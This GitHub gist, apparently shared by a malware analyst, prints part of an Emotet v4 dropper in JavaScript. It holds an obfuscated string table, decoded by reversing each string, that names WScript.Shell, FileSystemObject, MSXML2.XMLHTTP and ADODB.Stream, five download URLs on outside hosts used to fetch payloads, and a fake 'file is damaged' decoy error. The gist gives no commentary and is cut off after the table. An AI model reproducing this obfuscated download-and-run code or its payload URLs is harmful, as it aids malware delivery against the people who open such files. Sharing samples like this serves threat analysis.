Skip to content

Instantly share code, notes, and snippets.

@psrok1
Created May 19, 2017 12:06
Show Gist options
  • Save psrok1/aba17d52a2a2e5b48a6404cd1b42b7c5 to your computer and use it in GitHub Desktop.
Save psrok1/aba17d52a2a2e5b48a6404cd1b42b7c5 to your computer and use it in GitHub Desktop.
Part of Emotet v4 dropper
$uaU$Fh71K_E6TQAdMPz = function(n) {
if (typeof $uaU$Fh71K_E6TQAdMPz.list[n] == "string") return $uaU$Fh71K_E6TQAdMPz.list[n].split("").reverse().join("");
return $uaU$Fh71K_E6TQAdMPz.list[n];
};
$uaU$Fh71K_E6TQAdMPz.list = [
"tamroF eliF detroppuS toN",
"llehS.tpircSW",
"tcejbOmetsySeliF.gnitpircS",
"/1506daolnwod/ku.oc.aidemlaerehte//:ptth",
"/7751daolnwod/moc.erawtfoscetni//:ptth",
"PTTHLMX.2LMXSM",
"/3030daolnwod/moc.yhpargotohpnivrinad//:ptth",
"/3946daolnwod/moc.aidemsretsacdnarb//:ptth",
"/4769daolnwod/lp.moc.hcetka//:ptth",
"maertS.BDODA",
".)dedoced yltcerroc t'nsaw dna tnemhcatta liame na sa tnes saw ti ,elpmaxe rof( deriaper eb ton dluoc dna degamad si elif ehT .tnemucod siht gninepo rorre na saw erehT" ];
...
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment